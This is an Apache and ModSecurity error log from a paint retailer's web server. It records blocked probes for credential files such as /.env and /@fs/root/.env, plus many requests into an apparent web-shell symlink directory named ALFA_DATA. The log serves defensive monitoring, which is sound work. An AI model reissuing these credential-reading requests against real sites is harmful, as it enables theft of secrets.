[Sun Oct 25 13:00:04.735809 2026] [security2:error] [pid 2858941:tid 2858941] [client 34.146.223.226:42474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lGu-o0KBJy2cxdBI6gAAAAM"]
[Sun Oct 25 13:00:04.736206 2026] [security2:error] [pid 2858941:tid 2858941] [client 34.146.223.226:42474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lGu-o0KBJy2cxdBI6gAAAAM"]
[Sun Oct 25 13:00:04.742915 2026] [security2:error] [pid 2862865:tid 2862865] [client 34.146.223.226:42518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at41lHvX2oTK9P2LzVmH8wAAAD8"]
[Sun Oct 25 13:00:04.743351 2026] [security2:error] [pid 2862865:tid 2862865] [client 34.146.223.226:42518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at41lHvX2oTK9P2LzVmH8wAAAD8"]
[Sun Oct 25 13:00:04.743705 2026] [security2:error] [pid 2862865:tid 2862865] [client 34.146.223.226:42518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at41lHvX2oTK9P2LzVmH8wAAAD8"]
[Sun Oct 25 13:00:04.794866 2026] [security2:error] [pid 2862871:tid 2862871] [client 34.146.223.226:42462] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lPb_OFedQ1aCOvBnVgAAAEM"]
[Sun Oct 25 13:00:04.795312 2026] [security2:error] [pid 2862871:tid 2862871] [client 34.146.223.226:42462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lPb_OFedQ1aCOvBnVgAAAEM"]
[Sun Oct 25 13:00:04.795586 2026] [security2:error] [pid 2862871:tid 2862871] [client 34.146.223.226:42462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at41lPb_OFedQ1aCOvBnVgAAAEM"]
[Sun Oct 25 13:00:04.847115 2026] [security2:error] [pid 2862806:tid 2862806] [client 34.146.223.226:42504] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at41lBKqFxYAd_HiRLelpAAAABQ"]
[Sun Oct 25 13:00:04.847840 2026] [security2:error] [pid 2862806:tid 2862806] [client 34.146.223.226:42504] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at41lBKqFxYAd_HiRLelpAAAABQ"]
[Sun Oct 25 13:00:04.848167 2026] [security2:error] [pid 2862806:tid 2862806] [client 34.146.223.226:42504] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at41lBKqFxYAd_HiRLelpAAAABQ"]
[Sun Oct 25 13:00:05.027530 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/models"] [unique_id "at41lVR7hiVQnPOARxKt2AAAAC4"]
[Sun Oct 25 13:00:05.027569 2026] [security2:error] [pid 2862845:tid 2862845] [client 34.146.223.226:42486] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/models"] [unique_id "at41lVR7hiVQnPOARxKt2AAAAC4"]
[Sun Oct 25 13:00:05.348783 2026] [security2:error] [pid 2867818:tid 2867818] [client 34.146.223.226:42514] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at41lSrjFUmGxTaBObiHCQAAAAY"]
[Sun Oct 25 13:00:05.348822 2026] [security2:error] [pid 2867819:tid 2867819] [client 34.146.223.226:42522] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at41lYT7Ngavig2xFni6uQAAAAc"]
[Sun Oct 25 13:00:05.349420 2026] [security2:error] [pid 2867818:tid 2867818] [client 34.146.223.226:42514] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at41lSrjFUmGxTaBObiHCQAAAAY"]
[Sun Oct 25 13:00:05.349420 2026] [security2:error] [pid 2867819:tid 2867819] [client 34.146.223.226:42522] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at41lYT7Ngavig2xFni6uQAAAAc"]
[Sun Oct 25 13:00:05.349879 2026] [security2:error] [pid 2867818:tid 2867818] [client 34.146.223.226:42514] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at41lSrjFUmGxTaBObiHCQAAAAY"]
[Sun Oct 25 13:00:05.349952 2026] [security2:error] [pid 2867819:tid 2867819] [client 34.146.223.226:42522] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at41lYT7Ngavig2xFni6uQAAAAc"]
[Sun Oct 25 13:00:06.027975 2026] [security2:error] [pid 2867819:tid 2867819] [client 34.146.223.226:42522] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/admin/config"] [unique_id "at41loT7Ngavig2xFni6vAAAAAc"]
[Sun Oct 25 13:00:06.028013 2026] [security2:error] [pid 2867819:tid 2867819] [client 34.146.223.226:42522] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/admin/config"] [unique_id "at41loT7Ngavig2xFni6vAAAAAc"]
[Sun Oct 25 13:00:14.147894 2026] [ssl:error] [pid 2867831:tid 2867831] (70014)End of file found: [client 52.3.104.214:55754] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:00:15.355952 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 34.224.9.144:24523] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:00:27.095215 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 34.225.138.57:53835] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:00:34.860291 2026] [ssl:error] [pid 2867913:tid 2867913] (70014)End of file found: [client 44.214.19.8:12017] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:00:39.044453 2026] [ssl:error] [pid 2867911:tid 2867911] (70014)End of file found: [client 34.235.239.240:51132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:00:42.836863 2026] [core:error] [pid 2867836:tid 2867836] (13)Permission denied: [client 3.211.181.86:46241] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/iosf_mbi_pci/remove_id
[Sun Oct 25 13:00:59.867811 2026] [core:error] [pid 2867912:tid 2867912] (13)Permission denied: [client 144.76.19.24:46982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/5/stack
[Sun Oct 25 13:01:06.784880 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 3.94.156.104:61587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:01:17.750431 2026] [core:error] [pid 2867834:tid 2867834] (13)Permission denied: [client 185.191.171.17:16832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-32/min_partial
[Sun Oct 25 13:01:22.426703 2026] [core:error] [pid 2867831:tid 2867831] (13)Permission denied: [client 34.203.111.15:49947] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/button/unbind
[Sun Oct 25 13:01:30.414491 2026] [ssl:error] [pid 2867912:tid 2867912] (70014)End of file found: [client 52.1.157.90:26340] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:01:34.321857 2026] [core:error] [pid 2867836:tid 2867836] (13)Permission denied: [client 18.206.47.187:29460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ttyS3/subsystem/ttyS0/flags
[Sun Oct 25 13:01:42.244447 2026] [ssl:error] [pid 2867914:tid 2867914] (70014)End of file found: [client 54.84.147.79:43501] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:01:50.296651 2026] [ssl:error] [pid 2867831:tid 2867831] (70014)End of file found: [client 54.85.126.86:61143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:01:54.229821 2026] [core:error] [pid 2867913:tid 2867913] (13)Permission denied: [client 54.198.33.233:32038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/drivers/ac/uevent
[Sun Oct 25 13:02:10.200399 2026] [core:error] [pid 2867836:tid 2867836] (13)Permission denied: [client 52.201.155.215:9927] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/devices/system/memory/memory6/node0/cpu1/subsystem/drivers/processor/bind
[Sun Oct 25 13:02:22.245832 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 52.21.62.139:60058] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:02:34.325866 2026] [core:error] [pid 2867813:tid 2867813] (13)Permission denied: [client 85.208.96.198:28552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-4k/alloc_calls
[Sun Oct 25 13:02:36.384250 2026] [core:error] [pid 2867912:tid 2867912] (13)Permission denied: [client 85.208.96.212:20696] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pool_workqueue/reclaim_account
[Sun Oct 25 13:02:38.480828 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 34.204.150.196:15405] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:02:42.210322 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 52.71.218.25:28141] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:02:54.232150 2026] [ssl:error] [pid 2867913:tid 2867913] (70014)End of file found: [client 50.19.221.48:54571] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:02:54.433258 2026] [core:error] [pid 2867813:tid 2867813] (13)Permission denied: [client 185.191.171.12:34084] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dio/store_user
[Sun Oct 25 13:03:02.367042 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 18.232.12.157:6767] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:03:10.185246 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 3.220.148.166:46743] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:03:12.453777 2026] [ssl:error] [pid 2867908:tid 2867908] (70014)End of file found: [client 185.191.171.12:26366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:03:14.192985 2026] [ssl:error] [pid 2867831:tid 2867831] (70014)End of file found: [client 54.87.62.248:55281] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:03:15.551091 2026] [core:error] [pid 2867913:tid 2867913] (13)Permission denied: [client 85.208.96.199:10770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/sanity_checks
[Sun Oct 25 13:03:18.184352 2026] [ssl:error] [pid 2867813:tid 2867813] (70014)End of file found: [client 52.200.58.199:40716] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:03:30.289668 2026] [ssl:error] [pid 2867912:tid 2867912] (70014)End of file found: [client 54.86.59.155:22060] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:03:36.444653 2026] [authz_core:error] [pid 2867895:tid 2867895] [client 104.253.228.21:36662] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sun Oct 25 13:03:38.222752 2026] [security2:error] [pid 2867908:tid 2867908] [client 184.72.84.154:52949] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/PNP0A06:01/"] [unique_id "at42amrfHr_hWS0sgUKGRQAAAEA"]
[Sun Oct 25 13:03:38.222796 2026] [security2:error] [pid 2867908:tid 2867908] [client 184.72.84.154:52949] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/PNP0A06:01/"] [unique_id "at42amrfHr_hWS0sgUKGRQAAAEA"]
[Sun Oct 25 13:03:40.018605 2026] [ssl:error] [pid 2867831:tid 2867831] (70014)End of file found: [client 185.191.171.16:20956] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:03:42.187383 2026] [ssl:error] [pid 2867813:tid 2867813] (70014)End of file found: [client 54.88.84.219:41240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:03:46.302571 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 54.147.182.90:31473] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:03:50.177677 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 18.210.58.238:1306] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:03:54.184373 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 44.205.180.155:5152] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:04:02.234273 2026] [ssl:error] [pid 2867908:tid 2867908] (70014)End of file found: [client 34.226.89.140:10493] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:04:10.218363 2026] [security2:error] [pid 2867913:tid 2867913] [client 52.44.229.124:58208] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:11/subsystem/devices/device:03/physical_node/driver/module/drivers/pci:cirrus/0000:00:02.0/power/"] [unique_id "at42imS6BSye7vC6PDqANQAAAEY"]
[Sun Oct 25 13:04:10.218413 2026] [security2:error] [pid 2867913:tid 2867913] [client 52.44.229.124:58208] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:11/subsystem/devices/device:03/physical_node/driver/module/drivers/pci:cirrus/0000:00:02.0/power/"] [unique_id "at42imS6BSye7vC6PDqANQAAAEY"]
[Sun Oct 25 13:04:18.219769 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 54.147.182.90:1538] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:04:22.404574 2026] [ssl:error] [pid 2867836:tid 2867836] (5)Input/output error: [client 44.193.102.198:63661] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:04:23.003365 2026] [core:error] [pid 2867912:tid 2867912] (13)Permission denied: [client 85.208.96.204:57068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/slabs
[Sun Oct 25 13:04:26.315301 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 52.6.232.201:2301] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:04:28.443813 2026] [core:error] [pid 2867914:tid 2867914] (13)Permission denied: [client 85.208.96.200:37958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mnt_cache/slab_size
[Sun Oct 25 13:04:40.113214 2026] [core:error] [pid 2862820:tid 2862820] (13)Permission denied: [client 185.191.171.10:63772] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8/remote_node_defrag_ratio
[Sun Oct 25 13:04:46.195818 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 18.213.70.100:52855] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:04:50.188518 2026] [ssl:error] [pid 2867908:tid 2867908] (70014)End of file found: [client 23.23.99.55:55862] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:05:06.181422 2026] [ssl:error] [pid 2867831:tid 2867831] (70014)End of file found: [client 3.212.219.113:29664] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:05:14.194136 2026] [core:error] [pid 2867836:tid 2867836] (13)Permission denied: [client 52.71.46.142:60995] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup9/device/driver/uevent
[Sun Oct 25 13:05:22.220379 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 18.209.201.119:27393] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:05:38.309060 2026] [core:error] [pid 2867834:tid 2867834] (13)Permission denied: [client 52.54.95.127:8305] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:02.0/resource0
[Sun Oct 25 13:05:42.288676 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 3.216.227.216:57073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:05:58.178578 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 3.212.219.113:18698] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:06:06.178933 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 34.194.165.45:37337] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:06:22.203381 2026] [ssl:error] [pid 2867866:tid 2867866] (5)Input/output error: [client 52.205.113.104:11342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:06:34.188853 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 54.166.126.132:39632] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:06:41.237018 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 185.191.171.9:26588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/cpu_slabs
[Sun Oct 25 13:06:42.198936 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 44.216.172.204:36948] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:06:48.081204 2026] [core:error] [pid 2867866:tid 2867866] (13)Permission denied: [client 185.191.171.6:34728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/alloc_calls
[Sun Oct 25 13:06:54.207015 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 44.215.235.20:15535] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:06:58.200368 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 44.209.35.147:46883] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:07:02.223430 2026] [ssl:error] [pid 2862822:tid 2862822] (5)Input/output error: [client 44.221.180.179:46019] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:07:12.549771 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 85.208.96.202:23538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/cpu_slabs
[Sun Oct 25 13:07:12.550398 2026] [security2:error] [pid 2867879:tid 2867879] [client 85.208.96.202:23538] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/cpu_slabs"] [unique_id "at43QIIGIq5euXyTbvT0jwAAACQ"]
